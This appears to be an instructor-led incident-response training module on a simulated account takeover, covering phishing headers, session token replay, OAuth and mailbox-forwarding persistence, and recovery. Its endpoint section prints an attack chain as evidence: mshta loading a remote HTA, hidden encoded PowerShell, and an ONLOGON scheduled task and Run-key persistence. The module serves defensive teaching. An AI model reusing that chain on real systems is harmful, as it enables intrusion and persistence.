01Incident briefCase intakeBuild chronology before choosing containment
SILENT DELEGATE · ATO-003

One session became four access paths.

MailGuard reports a payroll lure. Identity shows the same authenticated session from two networks. M365 records a new OAuth grant and bulk Finance downloads. FoylGuard then sees a signed Windows utility launch a hidden script on FINANCE-WS-02.

sarah.walshconfirmed identity
198.51.100.77attacker source
63 filesobserved download
FINANCE-WS-02endpoint in scope

Your first task is to separate initial access, current access, persistence, and impact. The alert order is not automatically the event order, and each control plane preserves a different part of the story.

Payroll lure deliveredpayroll-secintel-help.com passes through an end-user quarantine release.
Session replay beginsSession 9f27 appears from 198.51.100.77 with MFA already satisfied.
Cloud return path plantedSecure Document Sync receives Mail.Read, Files.Read.All, and offline_access.
Endpoint executionmshta starts encoded PowerShell and creates an ONLOGON task.
Instructor lensAsk learners which events prove access, which prove persistence, and which prove impact. Do not accept the alert severity as evidence.
02Email trailMailGuardThe visible From field is not sender authentication
Delivery and interaction

Trace the message backward.

The original message preserves the envelope sender, authentication results, Received chain, reply path, and actual link target. Click telemetry tells you who interacted and how far they progressed.

From: Payroll Operations <payroll@secintel.corp>
Return-Path: bounce@payroll-secintel-help.com
Reply-To: forms@payroll-secintel-help.com
Authentication-Results: spf=softfail; dkim=none; dmarc=fail
href: https://secintel.corp.payroll-secintel-help.com/review
click: sarah.walsh · form_post=true · 08:57:41 UTC
Authentication

Alignment fails

The envelope sender and visible From domain do not align, and there is no valid DKIM signature to establish trusted authorship.

Interaction

Submission changes priority

A message delivery is exposure. A credential form submission creates an urgent identity-containment decision.

Open MailGuardRun Header Trace
Instructor lensHave learners identify the registered domain in the deceptive URL. Everything to its left is a subdomain.
03Identity proofIdentityA successful sign-in can still be attacker activity
Token replay analysis

Prove the session was not the user.

Password guessing creates failures and a new authentication. Session replay often inherits the original MFA claim, so the event can look successful and fully authenticated.

TimeSourceDeviceSessionMFA
08:5710.0.2.42 · HQFINANCE-WS-02 · managed9f27Fresh challenge
09:04198.51.100.77 · NLUnmanaged browser9f27Previously satisfied
09:06198.51.100.77 · NLUnmanaged browser9f27No new prompt
Decision point: The same session identifier is active from two networks, the second device is unmanaged, and the MFA claim is inherited. Together they prove token replay more strongly than geography alone.
Open IdentityRun Sign-in Risk
Instructor lensAsk what a VPN could explain and what it cannot. A VPN might explain geography, but not the concurrent session and unmanaged device.
04Session evictionIdentity + SOARA password reset alone does not guarantee session termination
Contain current access

Reset credentials. Revoke access.

Containment must stop new authentication, invalidate already-issued sessions and refresh tokens, and protect re-enrollment from the compromised channel.

01 · Stop

Disable sign-in temporarily

Block new interactive access while response actions run.

02 · Evict

Revoke sessions and refresh tokens

Terminate the replayed session and prevent silent renewal.

03 · Restore

Reset and re-enroll

Use a verified recovery channel and phishing-resistant MFA.

04 · Watch

Monitor re-entry

Alert on the attacker IP, old session ID, and new grants.

Safety rule: Coordinate the account disablement with endpoint and mailbox collection. Containment should be fast, but the case still needs enough evidence to explain impact.
Open SOAROpen Identity
Instructor lensAsk learners to distinguish authentication material, active access, and persistence. Each needs its own control.
05Cloud persistenceM365 + IdentityLook for access that survives the first password reset
Mailbox and application review

Find every way back.

SILENT DELEGATE created two cloud return paths: an external forwarding rule and an OAuth grant with offline access. Neither is removed simply because the password changes.

Mailbox rule

Forward-AP

Forwards messages containing invoice or payment terms to auditbox@protonmail.example and marks the originals read.

OAuth grant

Secure Document Sync

Delegated Mail.Read, Files.Read.All, and offline_access from the replayed session at 09:08 UTC.

Ordinary event

Theme preference changed

A display setting is account activity, but it does not create a durable access path.

Impact event

Bulk file download

Collection expands impact but is not itself persistence.

Review mailboxReview app grantsOpen Persistence concept
Instructor lensHave learners explain the trigger and removal action for each persistence mechanism.
06Data impactCASB + SIEMScope only what source evidence supports
Blast-radius query

Separate confirmed, exposed, and unknown.

Search the attacker IP, session, user, OAuth application, forwarding destination, phishing domain, and endpoint artifacts across each relevant data source.

09:11:02Z FileDownloaded user=sarah.walsh ip=198.51.100.77
folder=/Finance/Forecasts count=31
09:11:44Z FileDownloaded user=sarah.walsh ip=198.51.100.77
folder=/Finance/Payroll count=32
09:13:09Z MailItemsAccessed mailbox=sarah.walsh count=112
Salesforce events from session 9f27: 0
ClassificationEntityEvidence threshold
Confirmedsarah.walsh, Finance SharePoint, mailboxDirect unauthorized access from the replayed session.
ExposedThree additional link clickersInteraction exists, but no form submission or session evidence yet.
Unrelated so farSalesforceNo correlated activity from the session or source IP.
Open CASBOpen SIEMRun Scope the Incident
Instructor lensChallenge absolute language. No evidence in one search is not proof that an event could never have happened.
07Endpoint executionFoylGuard EDRSigned binaries can carry hostile intent
FINANCE-WS-02 process lineage

Read behavior, not reputation.

The endpoint path uses installed Windows tools. The suspicious meaning comes from their parent, arguments, children, destination, and sequence.

WINWORD.EXE Payroll_Adjustment.docx
  └─ mshta.exe https://payroll-secintel-help.com/u.hta
       └─ powershell.exe -nop -w hidden -enc JABjAD0A...
            ├─ schtasks.exe /Create /SC ONLOGON /TN "Finance Cache" ...
            └─ reg.exe ADD HKCU\...\Run /v TeamsUpdate ...
Lineage signal

Office to script host

WINWORD starting mshta is rare and immediately raises execution risk.

Argument signal

Remote HTA and encoded stage

The command context is hostile even though both executables are signed.

Open FoylGuardOpen Living off the LandRun Process Tree Hunt
Instructor lensAsk for the smallest reusable behavioral detection. A host, user, or campaign domain makes a case query, not a durable rule.
08Persistence huntEDR + IdentityRemove both the trigger and what it launches
Cross-plane eradication

Close the cloud path and the host path.

A complete eviction treats persistence as a set of trigger-capability pairs. Deleting one visible artifact is not enough.

Control planeTriggerCapabilityRemoval
MailboxMatching message arrivesExternal forwardingRemove rule and scope already-forwarded mail.
IdentityRefresh-token requestOAuth mail and file accessRemove grant, revoke tokens, inspect app credentials.
EndpointUser logonPowerShell stageDelete task and payload, then reimage the host.
EndpointUser logonVBScript stageRemove Run value and payload, then hunt adjacent autostarts.
Why reimage: Multiple execution and persistence artifacts mean endpoint trust is lost. Artifact-by-artifact cleanup supports understanding, but a known-good rebuild restores confidence.
Open PersistenceRun Evidence Locker
Instructor lensAsk learners which artifacts survive process kill, sign-out, reboot, password reset, and device reimage.
09Blast radius3D evidence graphReconstruct both branches of the intrusion
Root-cause model

One lure. Two branches.

The payroll message created a cloud-identity branch and an endpoint-execution branch. Reconstructing both prevents a partial containment that leaves the other path active.

Cloud branch

Token to application persistence

Replayed session, mailbox rule, OAuth consent, mailbox access, and Finance file collection.

Endpoint branch

Document to logon persistence

Remote HTA, encoded PowerShell, scheduled task, Run key, and beaconing.

The interactive activity below renders the evidence graph in 3D when WebGL is available. Connect only edges supported by observed evidence.

Instructor lensHave learners explain why cloud and endpoint persistence require different containment owners and validation steps.
10Validated recoveryClosureRecovery ends with evidence, not optimism
Return to service

Prove the attacker cannot return.

Recovery combines identity restoration, clean endpoint state, persistence validation, business-impact review, monitoring, and a blameless lessons-learned record.

Identity validation

Fresh trust

New credentials, phishing-resistant MFA, no old sessions, no unknown grants, and no external forwarding.

Endpoint validation

Known-good state

Rebuilt image, restored business data, current controls, clean persistence sweep, and expected network baseline.

Impact validation

Business facts

Confirmed repositories, file and mailbox access, exposed users, notification review, and fraud check.

Detection validation

Coverage improved

Token replay, new consent, remote HTA, and logon persistence tests reach the alert layer.

Closure statement: Record what is confirmed, what remains unknown, which controls changed, how validation was performed, and who owns follow-up.
Build follow-up detectionsRecheck campaign infrastructure
Instructor lensAsk what evidence would cause the incident to reopen after recovery.